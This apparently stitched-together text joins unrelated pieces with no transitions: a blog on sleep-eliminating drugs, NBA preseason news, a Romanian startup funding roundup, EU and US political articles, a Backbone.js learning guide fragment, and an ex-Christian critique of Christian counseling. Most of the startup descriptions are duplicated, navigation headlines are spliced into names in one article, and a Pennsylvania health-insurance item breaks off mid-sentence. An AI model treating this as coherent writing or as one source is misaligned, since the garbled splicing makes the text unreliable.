That, in many ways, is the biggest implication of this technology. Suddenly, that third of our lives that we spend sleeping suddenly becomes open to us. Human society may vary wildly across time, space, and sexual practices, but they’re all bound by the same limits. People still need to sleep and rest. What happens to those societies when that changes?
It’s impossible to know, but we may find out soon enough. As we’ve seen before with other popular drugs, once a market is established, people build entirely new lifestyles around it. We saw it already with boner pills. This one may end up being even more groundbreaking and it doesn’t require an awkward conversation with your doctor.
While this is sure to enrich drug companies to no end, it’s also the first step in a much larger process of removing the burden of sleep. Other emerging technologies that I’ve mentioned, such as smart blood and brain implants, will take it a step further.
Theoretically, they could both rewire or augment our biology so that we never need sleep in the first place. There would be no need to take a drug. There would be no need to worry about ever being tired. It may even make it so that other people who have to sleep are pitied the same way we pity those who don’t have high-speed internet.
These kinds of advancements will already enhance so much of the human condition, from cognitive function to mental acuity to sexual prowess. Removing sleep from that equation gives those same enhanced humans even more time to flex their enhancements. It’s hard to know what people will do with that kind of time on their hands, but I imagine some of it will inspire a few sexy novels.
A society full of people who never need to sleep is completely unprecedented. Hell, a society where sleep is entirely optional is unprecedented as well. It wasn’t that long ago that society was at the mercy of the night. Even if you weren’t tired back then, you couldn’t do much when it was pitch black outside. Then, electric lighting came along and freed people to do more with their time.
When technology gives people an opportunity to work around the limits of nature, they generally take it. The consequences or implications are rarely clear, but given how little we think things through, I can’t imagine we’ll hesitate to make this technology part of our culture.
Time will tell. Money will be made. Entirely new lifestyles will emerge. It’s amazing to imagine what we’ll do with ourselves when sleep is no longer an issue. I hope it helps me write more sexy novels. I also hope it helps others live a richer life. Whenever it happens, I look forward to the day when beds are just used for sex and showing off fancy linens.The Toronto Raptors will get an early look at Canadian star Andrew Wiggins before the upcoming NBA season.
The league announced the schedule for its annual NBA Canada series of pre-season games on Monday. Wiggins and the Minnesota Timberwolves play twice in the four-game series, including a meeting with the Raptors at Ottawa's Canadian Tire Centre on Oct. 14.
The Timberwolves will also face the Chicago Bulls at the MTS Centre in Winnipeg on Oct. 10.
It will give the NBA a rare chance to showcase Wiggins in his home country. With the Timberwolves playing in the NBA's Western Conference, the team only make one regular-season visit to Toronto per year.
Wiggins became the first Canadian to win the NBA rookie of the year award this season. The Vaughan, Ont., product averaged 16.9 points, 4.6 rebounds and 2.1 assists in his first NBA season and was the only unanimous selection for the league's all-rookie first team.
The other games have Toronto facing the Los Angeles Clippers in Vancouver on Oct. 4 and the Raptors playing Washington Oct. 23 in Montreal.2017 Is The Best Year Yet For Romanian Tech
Bogdan Florin Ceobanu Blocked Unblock Follow Following Aug 28, 2017
60 years have passed since the first computer was built in Romania using vacuum tubes and transistors by remarkable engineers.
CIFA, the first Romanian computer built in 1957
We’ve come far since then.
Even a comparison to just last year (here you can find the 2016 Romanian startup scene analysis) shows that Romanian startups are growing rapidly. In 2017, Romanian startups raised a 3x increase in the first two-quarters of 2017 compared to 2016, from €11m to €38.4m. In comparison in Europe €9.9b was raised by startups.
Here are a few highlights from Romania’s thriving startup scene.
1.Q2 2017 was the most successful quarter ever for Romanian tech (see the chart below). While the number of deals remains the same as in Q2 2016, there was a massive increase in capital raised — mainly triggered by UiPath, a software platform that helps organizations automate business processes.
The UiPath fundraise in Q2 2017 is the biggest series A round ever seen in Romania.
Daniel Dines, CEO UiPath says:
“This ‘series A’ investment capital we’ve raised is a breakthrough for Romania and it creates a big precedent. Hopefully, it will encourage local entrepreneurs to take bolder decisions because the talent and the potential are there, and investors know and value this the most.”
Capital raised in Romania in Q1 2015 — Q2 2017. Find all the companies here.
By comparison, here’s a snapshot of other significant fundraises in Romania 🇷🇴:
UiPath, $30m
UiPath is a leading provider of robotic process automation software for the enterprise led by Daniel Dines.
UiPath is a leading provider of robotic process automation software for the enterprise led by Daniel Dines. dcs plus, $6.2m
dcs plus is a Romanian travel and tourism tech company, headed by Cristian Dinca.
dcs plus is a Romanian travel and tourism tech company, headed by Cristian Dinca. Zitec, €1.7m
Zitec is a software development company.
Zitec is a software development company. SmartDreamers, €400k
SmartDreamers is a recruitment platform that simplifies the connection between growing companies and candidates.
SmartDreamers is a recruitment platform that simplifies the connection between growing companies and candidates. Frisbo, €250k
E-fulfillment company.
E-fulfillment company. Blugento, €120k
Blugento offers Magento eCommerce solutions.
Blugento offers Magento eCommerce solutions. Ebriza, €70k
Ebriza is the virtual cash register.
Ebriza is the virtual cash register. FishPointer, $30k
Fishpointer is your fishing app.
Fishpointer is your fishing app. SkillView, $20k
SkillView is an online interviewing platform for the IT&C companies.
SkillView is an online interviewing platform for the IT&C companies. AIris Vision, undisclosed, part of StartupWiseGuys.
A technology that can recognize and localize objects and concepts in photos, videos and live streams directly into low end devices, not in the cloud
2. Crowdfunding remains an important avenue of funding for early-stage startups. After the launch of Kickstarter and Indiegogo, crowdfunding become a massive phenomenon. Such platforms provide access to capital, hedge the risk, serve as a marketing tool, give a proof of concept, and introduce you to loyal customers. The World Bank estimated that crowdfunding would reach $90 billion by 2020.
In Romania the Startartium platform recently launched a crowdfunding feature. Already 7 creative initiatives raised >€55k. It’s a great model where ecosystem builders (ImpactHub) and financial corporations (ING Bank) work together to stimulate entrepreneurship.
Here are the most notable crowdfunded startups in Romania:
Sound Heroes, $485k [Indiegogo]
Kalium Sound Heroes are the most futuristic Bluetooth speakers that have ever existed.
Kalium Sound Heroes are the most futuristic Bluetooth speakers that have ever existed. Dagadam, £140k [Kickstarter]
Dagadam Watch is the world’s first round functional curved touch bezel smartwatch with an AI notification center, compatible with Android and IOS devices.
Dagadam Watch is the world’s first round functional curved touch bezel smartwatch with an AI notification center, compatible with Android and IOS devices. Wallor, $22k
Wallor: RFID Wallet with GPS Tracking and Anti-Theft Alarm.
3. The impact of the Romanian tech scene is being felt outside our borders. Mada Seghete, is the co-founder of one of the most well-known Romanian-founded startups — Branch. She says:
“My advice is to look at failure as just a step in the greater journey. We failed three times before we started Branch to solve problems we had in a previous venture. I think for women it can be even harder to let go of an idea and move to something new — but sometimes it’s necessary. My advice — don’t be afraid to cut your losses and start something new — if you keep building and learning you will eventually find something that has huge potential.”
Notable startups launched abroad by Romanian founders include:
Spring[US], $65m
Spring is a digital shopping destination where people can discover amazing products and buy them directly from their favorite brands in a single-cart experience. Octavian Costache is the co-founder and CTO of the online marketplace.
Spring is a digital shopping destination where people can discover amazing products and buy them directly from their favorite brands in a single-cart experience. Octavian Costache is the co-founder and CTO of the online marketplace. Branch[US], $60m
Branch unifies mobile measurement and user experiences across devices, platforms, and channels. Branch was founded by 4 Stanford engineers including Mada Seghete. The firm raised raised $113m to date and the product reaches 2B users in 23,000 apps.
Branch unifies mobile measurement and user experiences across devices, platforms, and channels. Branch was founded by 4 Stanford engineers including Mada Seghete. The firm raised raised $113m to date and the product reaches 2B users in 23,000 apps. Tracktable [UK], $8m.
A computer vision powered company focused on the insurance industry. Razvan Ranca is the co-founder and CTO of the AI-powered startup understands thousands images like experts do in seconds, with razor-sharp accuracy.
A computer vision powered company focused on the insurance industry. Razvan Ranca is the co-founder and CTO of the AI-powered startup understands thousands images like experts do in seconds, with razor-sharp accuracy. Vita Mojo [UK], £3.28m
The restaurant that lets you design your own meals. Founders Nick Popovici and Stefan Catoiu — a former finance worker and an organic farm owner respectively — have teamed up with chef Paul Davies, previously of Ham Yard Hotel in Soho, and nutritionist Helene Patounas to make it happen. The round was raised on equity crowdfunding platform Crowdcube.
The restaurant that lets you design your own meals. Founders Nick Popovici and Stefan Catoiu — a former finance worker and an organic farm owner respectively — have teamed up with chef Paul Davies, previously of Ham Yard Hotel in Soho, and nutritionist Helene Patounas to make it happen. The round was raised on equity crowdfunding platform Crowdcube. Proportunity [UK], undisclosed
Proportunity pushes the edge on real estate data-driven investment insights. The firm stated by Vadim Toader and Stefan Boronea was accelerated within EntrepreneurFirst seventh batch.
Proportunity pushes the edge on real estate data-driven investment insights. The firm stated by Vadim Toader and Stefan Boronea was accelerated within EntrepreneurFirst seventh batch. StatusToday [UK], undisclosed
An AI-powered Insights Platform that understands human behavior in the workplace, ensuring security, engagement and productivity through patent-pending tech. The Startup cofounded by Co-founded by Ankur Modi (CEO) and Mircea Danila Dumitrescu (CTO), has been accepted to GCHQ Cyber Accelerator and shortlisted for the hottest AI start-Up at The Europas European Tech Startup Awards 2017.
An AI-powered Insights Platform that understands human behavior in the workplace, ensuring security, engagement and productivity through patent-pending tech. The Startup cofounded by Co-founded by Ankur Modi (CEO) and Mircea Danila Dumitrescu (CTO), has been accepted to GCHQ Cyber Accelerator and shortlisted for the hottest AI start-Up at The Europas European Tech Startup Awards 2017. IntelFlows [EE], undisclosed
A big data/IoT company with a different approach to data collection. The team led by Cosmin Pirvu have been accepted to be part of Startup Wise Guys accelerator.
4. A growing group of Romanian investors is having impact both at home and abroad. The investors that contributed mostly to the deals mentioned earlier in this article are Accel, Credo Ventures, Earlybird, Catalyst, Seedcamp, and Risky Business. But these are certainly not the only investors putting money into Romanian tech.
Fribourg Digital launched a €20 million fund, which targets early stage investments in tech startups. Ion Sturza, managing partner at Fribourg adds:
“The range of investments is between €20 and €250 thousand with the possibility to do follow on investments up to €1 million. Fribourg also brings on board strong operational involvement to support founders with networking, business development, and organisation structuring. The team behind the fund, invested in successful startups such as elefant.ro, SEO Monitor, Planable, Baro and Spherik Accelerator.”
The club of Romanian VC’s working abroad at Atomico, Accel, and EarlyBird has grown with Angelica Anton as the founding partner of Silk Ventures, a $500M fund backed by the Chinese government to invest in European and U.S. ‘scale-ups’.
Also abroad, there are some additional professional investors in the healthcare, biotechnology, and life sciences industries: Cristina Ghenoiu, Longitude Capital, Menlo Park, US; Irina Haivas, GHO Capital London, UK and Vasile Tofan, Horizon Capital, Kyiv, UA.It looks as if this new law is meant to serve as a severe roadblock to parties that would like to dismantle the EU in a democratic and peaceful way from within.
Two years ago, the European Commission proposed a law that would authorize an "independent authority" within the European Parliament [EP] to decide whether EP parties would receive an official legal status as EP parties. This legal status is needed for a party to obtain EP party subsidy, which is designed to cover 85% of party expenditures.
Despite a British and Dutch lobby against the law, it was passed by the EP on September 29, 2014.
Among the demands parties have to meet are that of "internal party democracy" and that they must "respect the values on which the European Union is based." Among these values are: "pluralism, non-discrimination, tolerance, justice, solidarity and equality between women and men." In addition, the parties must be active in at least 7 out of 28 EU member-state countries.
The law states that: "decisions regarding a party's respect for values on which the EU is based, may only be taken following a special procedure and in cooperation with a committee of independent prominent individuals."
Although the law does not specify the composition of this illustrious special committee, it is highly probable that Martin Schulz, the EP's chairman, is among them. Schulz is a German socialist who was reelected as EP chairman even though he was absent during the parliamentary debate for the position. Schulz is also known for strongly condemning the content and distribution of a film critical of Islam, "Innocence of Muslims," and for his disproportionate criticism of Israel.
Even though the committee is designated as an "independent authority," within the self-aggrandizing dynamic of the EU, one cannot be "prominent" and "independent" at the same time.
Therefore, prominent individuals within the EU are those that fully and without any reticence subscribe to the EU's mission of dismantling European nation states and furthering the EU's influence at the cost of national democracies.
Due to this law, it is highly probable that EU-skeptic party factions such as the "Europe of Freedom and Direct Democracy" [EFDD], chaired by Nigel Farage of the UK Independence Party [UKIP], will no longer receive a subsidy. It is also likely that when, for example, EU-skeptic and anti-immigration parties like Marine le Pen's Front National and Geert Wilders' Freedom Party succeed in forming an EP faction, it will be denied a subsidy because the "independent committee" will decide that the faction does not subscribe to the EU's values of tolerance and pluralism.
Nigel Farage (left), head of the UK Independence Party, and Marine Le Pen, head of France's National Front party. (Image source: Wikimedia Commons)
A rather dull semantic trick pro-EU figures usually apply, is calling their opponents "anti-Europe." But as Europe is a continent, it is difficult to be against a continent. Anti-EU figures are against an organization that is increasingly overruling national democracies without the consent of their national populations.
The EU has been struggling for years with dwindling popularity among its member-state citizens. The rise of anti-EU parties in the European Parliament has been a jolting wake-up call for prominent pro-EU figures.
It looks as if this new law is meant to serve as a roadblock to parties that would like to dismantle the EU in a democratic and peaceful way from within. Only parties that do not deviate too much from the EU utopia of a federally-controlled European continent will be allowed to participate in the European Parliament without being obstructed, hindered or disadvantaged by that same EU. It indeed seems that if the EU cannot realize its ideals with the support of its citizens, it will simply do so without the support of its citizens.
If, in the future, the EU will further obstruct anti-EU in the European Parliament parties in their quest for dismantling the EU in a civil and democratic way, it may achieve the following downward spiral.
First, it will show the citizens of member states the rather tyrannical and utterly intolerant face of the EU. Second, this sentiment may further popularize and empower anti-EU parties to push for the democratic dismantlement of the EU from within. The EU may in turn respond with even more repressive measures to obstruct anti-EU parties in the European Parliament, which will make the EU even more unpopular among member state citizens and thus adding to the popularity of anti-EU parties.
It is impossible to predict how this standoff would end, but if this were to occur, it is possible that EU member states would decide nationally to simply leave the EU. This could be a very real scenario if, for example, the French Front National, British UKIP and Dutch Freedom Party would win majorities in national elections.
This would leave the EU in a dismembered state of chaos, which could have been prevented if the EU had allowed – without foul play and obstruction – European Parliament factions to push for the dissolution of the EU in a peaceful and democratic way.Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE's attempt to stop presumptive Democratic presidential nominee Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE from receiving intelligence briefings after she’s formally nominated has failed.
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Director of National Intelligence James Clapper told the Wisconsin Republican in a letter obtained by The Hill that he does "not intend to withhold briefings from any officially nominated, eligible candidate.”
"Nominees for president and vice president receive these classified briefings by virtue of their status as candidates, and do not require separate security clearances before the briefings," Clapper wrote in the letter early Monday evening. “Briefings for the candidates will be provided on an even-handed non-partisan basis.
“Candidates are advised of the classified nature of the material, and operational and policy matters are not addressed.”
CNN first reported on the letter on Monday night.
Last Thursday, Ryan formally requested that Clapper deny Clinton access to classified information “for the duration of her candidacy for president.” The request would have blocked Clinton from the classified briefings given to presidential candidates, which are intended to prepare them for the Oval Office.
His request came hours before FBI Director James Comey testified on Capitol Hill about the findings of his yearlong investigation into Clinton's handling of classified material while she was serving as secretary of State.
While the FBI did not ultimately recommend charges against Clinton, Comey said that Clinton and her aides were “extremely careless in their handling of very sensitive, highly classified information.”
In his letter to Clapper, Ryan wrote that “given the FBI’s findings denying Secretary Clinton access to classified information certainly constitutes appropriate sanctions.”
After receiving the letter from Clapper on Monday, Ryan spokeswoman AshLee Strong maintained that Clinton “has proven herself untrustworthy.”
“We obviously disagree with the decision and want to know what precautions will be taken and what assurances the director can give that Secretary Clinton won't mishandle classified information,” Strong said in a statement.
Julian Hattem contributed to this report, which was updated on July 12 at 8:28 a.m.Sen. Marco Rubio (R-Fla.) is an immigration reform advocate. (AP File Photo)
(CNSNews.com) - President-elect Donald Trump campaigned on a promise to rescind many of President Obama's executive orders, and some illegal aliens fear the DACA program -- Deferred Action for Childhood Arrivals -- may be one of the executive actions to die at the stroke of Trump's pen.
Sen. Marco Rubio (R-Fla.), an immigration reform advocate, told NBC's "Meet the Press" on Sunday he would recommend that Trump leave the DREAMers' temporary legal status in place, but not renew it when the two-year deferral period is up.
"I would not retroactively remove their status," Rubio said of the DREAMers. "I would say that, from some point forward, people will not be allowed to apply for renewal for that status. And that will give us (Congress) a defined period of time to work through this, beginning with border security and modernization of the legal immigration system."
Since the DACA program took effect in 2012, hundreds of thousands of people who were brought to the United States illegally as children have signed up for a two-year reprieve from deportation along with work permits.
But Rubio noted that the reprieve is not indefinite: "It expires," he said.
"And what I would say is, if you have it, you will have it for the remainder of that period of time. But you will not be able to renew it.
"In the meantime -- and it's not a long period of time. But it does give us the time to do border security, modernization and then move to something very reasonable for people like those who came here as children or those who have been here for a long time, who are not criminals, to allow them to attain some legal status through a legal way, not an unconstitutional way, which is what DACA is."
Rubio in 2013 was among the sponsors of an immigration overhaul bill that included a pathway to citizenship for millions of illegal aliens. The bill died in the House of Representatives.
During the presidential primary this past February, Rubio told CNN's Jake Tapper that DACA "has to go away, and it will."
"I will, on my first day in office, get rid of it because it's unconstitutional," Rubio added.
During the primary season, Donald Trump called for a deportation force to send illegal aliens out of the country, but he later backed off on that, saying he would focus his deportation efforts on the most dangerous criminal illegal aliens.
In a major address on immigration this past August, Trump addressed illegal aliens who want to remain in the United States:
"For those here today illegally who are seeking legal status, they will have one route and only one route: to return home and apply for re-entry under the rules of the new legal immigration system that I have outlined above. Those who have left to seek entry under this new system will not be awarded surplus visas, but will have to enter under the immigration caps or limits that will be established.
"We will break the cycle of amnesty and illegal immigration. There will be no amnesty. Our message to the world will be this: you cannot obtain legal status, or become a citizen of the United States, by illegally entering our country."A Pennsylvania state lawmaker is holding transgender kids hostage as a condition of extending the Children’s Health Insurance Program (CHIP).
Last week, state Sen. Donald White (R) attached an amendment to the CHIP renewal legislation that would prohibit the program from covering the costs of any services related to a gender transition. The language of the amendment is vague enough that it could impact a broad swath of services that are medically necessary for the well-being of a transgender child:
The benefit package for eligible children may not include reimbursement for gender or sex reassignment surgery or gender or sex transition services, including, but not limited to, physician’s services, inpatient and outpatient hospital services, prescribed drugs or counseling services related to such surgery or services.
White seemed to indicate that his amendment was meant to address surgeries. “It is completely inappropriate to use state funds to pay for sex change operations for children,” he said in a statement. “This program provides vital health care services for Pennsylvania’s children. It |
front-end development, you should read either my post Learn Node.js Completely and with Confidence or Learn Meteor.js Properly. After you learn either, you will be able to build complete modern web applications.
12. With a complete understanding of Node.js and Backbone.js (or with Meteor.js), you will be ready to build any type of web application. You can also build a startup at this juncture, if you are intrepid.
If on the other hand you only develop on the front end, you should learn Angular.js or Ember.js, if you want a high-paying front-end developer job. Also, consider Facebook’s React.js (a new front-end framework), which some large Silicon Valley firms and other companies are using today.
But before you head off on your adventure, build the NodeApp web application at the link below; this exercise provides a real-world exercise in Node.js/Backbone.js web application development:
http://dailyjs.com/web-app.html
Important Extras
Read the following chapters in Developing Backbone.js Applications to further advance your knowledge on the Backbone.js ecosystem:
— Backbone Extensions
— Backbone Boilerplate And Grunt-BBB
— Mobile Applications
— Unit Testing Learn Handlebars Templating Engine
Handlebars templating engine is much more robust and feature rich than the simple template engine bundled with Backbone.js (The template used in Backbone.js by default is from the Underscore.js library, and Underscore.js is Backbone.js’s lone dependency).
Read my post, Handlebars.js Tutorial: Learn Everything About Handlebars.js JavaScript Templating.
The Backbone.js Documentation is Great; You Will Use it Often
Once you start developing on your own, you will find yourself making frequent stops to the Backbone.js documentation. This will likely be the website you visit most often, when you need help figuring out how to do any myriad of things while developing a Backbone.js application. Here is the link:
http://backbonejs.org/
Be good. Sleep well. And enjoy coding.The other day I discovered that one of this site’s favorite charlatans and bullshit artists, Joyce Meyer, has a book out about how to break bad habits, and it tied in with some stuff I’ve been thinking about lately about charlatanism in Christianity. I wanted to talk about my own experiences with that topic.
When I deconverted and it became clear that our marriage heading was for a breakup, one of the things Biff asked me to do was to go to a “Christian counselor” on the military base where he served. I don’t remember him asking to go together as a couple; he might have asked for that, but he definitely at least wanted me to go by myself to “get help” (Biff-speak for “get strong-armed into changing back to how you were before”) for all these weird and confusing notions I’d developed. This counselor was one of his buddies in the chaplain program, itself rightly notorious lately for its overreach, which you can find documented frequently at the Military Atheists website, and if you think things are bad now or just recently got that way, well, I’ve got a few stories from my time as a military wife that might raise the hackles of even the most gung-ho Christian.
In response to Biff’s request, I did something my then-husband clearly had not expected: I asked what this chaplain’s credentials were to counsel non-Christian noncombatants about marital discord or anything else.
By Biff’s blank stare of a response, I knew he had no idea what this person’s counseling credentials were. He’d suggested the fellow, it seems, purely because he was a chaplain. But our problem was not spiritual, and I don’t regard the ability to provide soldiers with spiritual guidance as an indicator of someone’s ability to provide general therapy. Nor did I regard myself as broken or in need of any psychological help. Biff was basing his recommendation on the simple fact that I now disagreed with him vehemently on a variety of matters, some religious but many not, which to him meant I was clearly sailing in choppy waters and in need of a course correction. He saw getting me reconverted as the goal, and I knew it (and he knew I knew it; as Prince Geoffrey says in The Lion in Winter, we were a very knowledgeable family)*. He was quite convinced that if he could get me back to Jesus, then all these other conflicts we were having would just fall into line, which in retrospect was laughably simplistic and naive as well as completely wrong; had I reconverted, it would not have been back to patriarchal Christianity nor to the rampant misogyny that had characterized our marriage up until my deconversion.
There was another very good reason for my resistance to the idea of visiting the chaplain he recommended. I knew that chaplains aren’t under the same rules about objectivity and non-disclosure that real therapists are, and I was quite nervous that this person might tell Biff privileged patient information or screw me up somehow with incompetence.
“Aw, he couldn’t tell me a thing,” Biff said. “You could totally sue him for a bunch of money if he did.” (Isn’t it telling that this was his glib, stated response to my concern about privacy?)
The point is, I don’t remember him ever coming up with any evidence for believing that this chaplain was in any way qualified to provide me guidance of any kind beyond the fact that he was in a position of Christian leadership. And in the 25 years or so since we had that conversation, absolutely nothing has changed in modern fundagelical Christianity.
I hear from a lot of ex-Christians whose spouses want to go to Christian counselors for one reason or another, and it’s beyond sad to me that Christians can’t understand why we don’t want to do that. I’m still exploring my own feelings on the subject, but I’m coming to some real understanding of why I don’t take Christian counselors seriously and why I think they’re generally harmful to the people who foolishly trust them.
Considering their hatred for postmodernism, or at least what they think that term means, Christians have a real tendency to shrink away from real experts in order to construct their own truths in a way that certainly looks a lot like postmodernism to me. They can call those constructed truths “timeless” and “objective” all they wish if it makes ’em feel better, but the real truth is that most of what Christians imagine about their religion and holy book are very new conceits for the most part, ones that would be wholly foreign and unimaginable to Christians of the first century–or even to Christians of the Enlightenment or Great Awakening. They’re not interested in anything that science or rational inquiry could add to the “truths” they’ve constructed for themselves; real experts would very quickly destroy and dismantle most of these ideas they’ve gotten. So in response, they have developed their own cadre of faux-experts to reinforce these ideas.
Postmodernism is demonized by just about every single modern fundagelical there is, but for proof that they’re busy engaging in it themselves, we need look no further than this “teach the controversy” nonsense that Creationists are pushing now. I heard an interview with Duane Gish, one of the “Intelligent Design” leaders, advising that what he wanted was for children in taxpayer-funded public schools to learn “both sides” (as if Creationism is a serious “side” here–isn’t that hilare?) and then decide for themselves what they would believe about how we got so many different kinds of animals in this world.
Decide for themselves? Aren’t these the same wingnuts who freaked out over exercises in the 70s where schoolkids would debate mathematics answers among themselves in little committees to decide for themselves what “2+2” was, and who even now lose their shit over children deciding for themselves whether or not to follow Christianity? How is it not postmodern to let children decide simple, basic scientific facts for themselves after hearing a plethora of information from some imaginary side Mr. Gish mistakenly believes contradicts the fact of evolution but it is postmodern to let kids decide about math problems and religion once they’ve heard every side?
This weird idea that objective truth can be constructed finds its nadir in “Christian” psychology.
I’ve written in the past about fundagelical distrust of education and real experts, but nowhere do we see this distrust so starkly displayed as we do with regard to the field of psychology and self-help, and nowhere do faux-experts seem to proliferate so much as they do within the mental health field.
Psychology as a field began to evolve after World War II. Freud’s weird ideas had of course been circulating around, but most people didn’t go to counselors or really even know much about what counseling was. By the 1970s, that had changed. Self-help as a book field had been taking off, and therapy was getting seen as a powerful tool for people to begin solving their problems and improving themselves.
The immediate problem with therapy, of course, is that it is secular in nature. Relying upon research or at least well-educated guesses, therapy didn’t normally draw upon religious ideas at all. It was seen immediately as unfriendly to doctrines like Original Sin and innate brokenness. Research had shown many times that Jesus either couldn’t or didn’t want to fix anybody emotionally and that calling upon him had no positive effect at all, so therapists didn’t tend to do it with patients and clients. What on earth would happen if people got told they were able to fix themselves or that they didn’t need religion to be whole? Why, the sky would fall!
Another huge problem with therapy–and, really, the field of psychology itself–was that it was client-centered. This focus was seen as removing the focus from Jesus, which of course was unacceptable even when the topic at hand was emotional distress or mental illness. While Christians might remove the focus from Jesus to get a root canal done, psychology was seen as much more suspicious; demons were known to creep into people who were distressed or ill and take control of them without their even noticing it. Psychology needed restraints and leashes that other healthcare fields simply did not.
These two problems conflicted with a growing feeling among evangelicals that the Bible really should be anything anybody should ever need to live a complete, healthy, happy life. Evangelicals were convinced that their god performed miracles and intervened directly in his followers’ lives on a constant, tangible basis, so would provide anything Christians needed–including emotional health–if they only asked sincerely enough via prayer.
The Religious Right was just getting rolling at this point, and the reverberations of their takeover of the conversation Christianity was having with America would be felt for many years to come. Their attitudes were a shift from what they saw at the time as a formulaic, uninspired, rote performance of religious devotion; they wanted to be “on fire” and wholly committed with no compromises. That meant incorporating Jesus into absolutely every aspect of one’s life, not just attending church on Sunday and then living like a secular person all week long. Fundamentalism had been a problem in Christianity for many years, but now, with the threat of secularism looming on the horizon, Christian leaders drilled down as hard as they could on dogma.
And their people listened.
*****
Christian Counseling exploded onto the scene in the 1970s. It was the perfect time for it. People were converting into the fervent, energetic, “no compromises” Jesus Movement churches and faiths, and they brought with them their respect for psychology, self-help, and therapy. But they wanted those things to have a Jesus flavor and be Biblical, or at least be in tune with what they (usually mistakenly) imagined were Biblical teachings and precepts.
In the ensuing chaos, very quickly a two-lane highway emerged with regard to mental health in most states. There was one lane where fully-credentialed, reputably-educated, board-certified, and licensed practitioners hung their shingles, and the other where almost anybody could get a license to practice general therapy or “life coaching” after a quick, easy little course in various topics the state tacked onto the license. I remember discovering in one state I lived in that it was harder to become an interior decorator (to muck up people’s homes) than it was to become a counselor (to muck up people’s heads).
Unfortunately, most people didn’t–and indeed still don’t–understand that there are huge differences between terms like “psychiatrist” and “psychologist,” much less “therapist” and “counselor” or “life coach.” And they very mistakenly believe a few things about mental health vis-a-vis Christianity that simply aren’t true.
First, they believe that Jesus is healing anybody. Sorry, but that just isn’t the case. I knew plenty of folks (like me) who prayed every single day for deliverance and healing from depression and all sorts of mental illnesses and maladies, and they’d sometimes get a “breakthrough” (that’s Christianese for serious catharsis during prayer; the rush of emotions is thought to be caused by a god reaching down and touching the person/people praying) and think they were finally healed, only to be back on their knees praying for deliverance a few days later after the euphoria passed. When the person praying is seeking physical healing, that’s bad enough. In the case of mental illness, though, this kind of delay or refusal to seek real care can have tragic repercussions.
Second, they believe that their pastors and ministers are qualified to treat serious problems. I don’t deny that some ministers are really good at loosing a little perspective on minor things, just like anybody would be who works with people for a living, but for serious things, people need to quit asking their ministers to substitute for a professional’s care. They wouldn’t ask a preacher to have a go at their wisdom teeth with a power drill, but think nothing of asking that same person to get them over chronic depression or hallucination-level PTSD. Even when the minister is totally goodhearted and tries his or her best to help, that’s asking a lot of what amounts to an amateur (some seminary programs may include a little course or semester about counseling, but that’s not going to be anywhere near as much as they’d need for serious problems). It’s not fair to dump a crisis on the shoulders of someone who isn’t fully equipped to deal with it, and the results are going to be predictably dicey.
Third, if someone who isn’t maybe totally goodhearted gets ahold of their private business like that, the results can be catastrophic. There’s no consent involved in the relationship between a minister and a parishioner. If the parishioner doesn’t take the minister’s advice, or declines to continue sessions, that minister has the power to really make that person’s life unbearable. I can’t even remember how many stories I’ve heard about ministers putting parishioners under “church discipline” for doing something like that, or gossiped about their business to outsiders. That’s why it’s super-important for someone in need to make sure to consult experts who are licensed and credentialed, experts who that person can stop seeing at any time or disagree with or ask for a further referral to someone else if it just doesn’t work out.
So with that said, let’s look at this stupid book by Joyce Meyer.
She is not licensed or credentialed as a real psychiatrist. She has no qualifications for writing this book at all. None. She just knows how to talk to Christian women. She knows how to push their buttons.
Joyce Meyer’s audience thinks that Jesus heals people. They think that all they have to do is ask their Daddy Jesus for something and he will give it to them. They think that they’re getting real, solid information about how to eliminate bad habits from their lives and build new ones. They think that building new habits is all about willpower (or won’t-power, as I had a friend say once!). They think that all it takes is a few quick, easy things to remember and those new habits will be there quick as you like. They think of Jesus as the Easy Button and the Bible as a big ole ATM that will give them an easy–or at least easier–time than is had by those who lack belief in those things’ efficacy. They think that one-liner bumper-sticker theology and slogans and catchphrases can substitute for the hard work of self-examination and character-building.
The women who flock to Joyce Meyer’s various seminars and read all her books think that prayer does something solid and tangible in the world. They think that if a minister says it, it must be true. They think that Christians would never lie to them or deceive them. They think that the Holy Spirit is giving people like Joyce Meyer special insights and discernment that can help them, in turn, live better lives.
They are wrong about all of these things.
Joyce Meyer might or might not know what the truth really is–she may or may not even believe the shit she says. I’ll give her sincerity a pass here. But I do know that she definitely at least knows how to talk to people who hold these beliefs, and she knows how to make a buck off people who don’t realize that she’s not qualified to help them.
Actual licensed, credentialed psychologists have written books about habit-building and how to break ourselves of bad habits and maintain and develop new ones. But these licensed, credentialed people do not mention Jesus every third word or spout nonsensical chirpy Christian catchphrases or advise prayer as a real solution, so Joyce Meyer’s audience will distrust these sources and seek her out instead. They won’t realize that she’s about as qualified to help them do this character work as their yard guy is, and maybe even less so because let’s face it, yard guys usually have some pretty cool insights based on living in the real world whereas I’m not sure this lady’s even seen the real world since about 1965. Her writing always has this flippy-dippy quality to it that I realize now is there because she really hasn’t got the faintest idea what reality looks like. She may well believe wholeheartedly that prayer works to build habits because maybe that’s what works for her. But the things she’s pushing her audience to do don’t look even remotely like what we know, based on decades of research, habit-building looks like for most people.
These women will read this book and be assured that they worship a wonder-working god who will answer their prayers, eventually at least. When they try to put her principles into action–which itself will be a task because I didn’t notice her giving a lot of concrete examples beyond “pray a lot” and “trust Jesus”–they will fail. And when (not if) they fail, they will blame themselves for the failure and think they are terrible people with very weak wills, or else that maybe this just means they don’t have enough faith in Jesus, when the real truth is that they chose a life coach with shitty life-coaching skills who has no real idea how to build new habits or break old ones.
The real tragedy here is that it’s very likely that none of her big fans who try this book’s ideas and fail will connect their failure to Joyce Meyer herself.
It seems downright silly to outsiders that Christians would need so desperately to Jesus-fy everything in their lives, but that’s how it is for zealots. Anything that isn’t totally tied in to Christianity and harnessed in service to what adherents believe are Christian ideas is suspicious; demons could enter into a person in such a situation, or the person might start thinking that he or she is self-reliant and doesn’t need Jesus. It’s like watching someone break his or her own knee because that person thinks walking without crutches is dangerous. Any activity that doesn’t begin and end with Jesus is hugely problematic; secularism is such a demonized and maligned concept at this point that any hint of secularism (defined as “something that doesn’t begin and end with Jesus”) gets you a reaction like you suggested making boiled babies’ toes for dinner.
